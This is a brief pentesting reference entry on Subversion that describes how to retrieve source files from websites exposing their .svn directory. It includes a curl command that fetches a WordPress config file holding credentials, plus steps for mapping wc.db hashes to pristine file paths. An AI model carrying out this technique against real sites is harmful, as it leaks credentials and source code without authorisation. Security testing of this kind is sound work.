Subversion

Subversion (often abbreviated as SVN) is a centralized version control system (VCS) that has been widely used in the software development industry. Originally developed by CollabNet Inc. in 2000, Subversion was designed to be an improved version of CVS (Concurrent Versions System) and has since gained significant traction for its robustness and reliability.

Methodology

curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base

1. Download the svn database from http://server/path_to_vulnerable_site/.svn/wc.db

   INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
   

2. Download interesting files
   • remove \$sha1\$ prefix
   • add .svn-base postfix
   • use first byte from hash as a subdirectory of the pristine/ directory (94 in this case)
   • create complete path, which will be: http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base
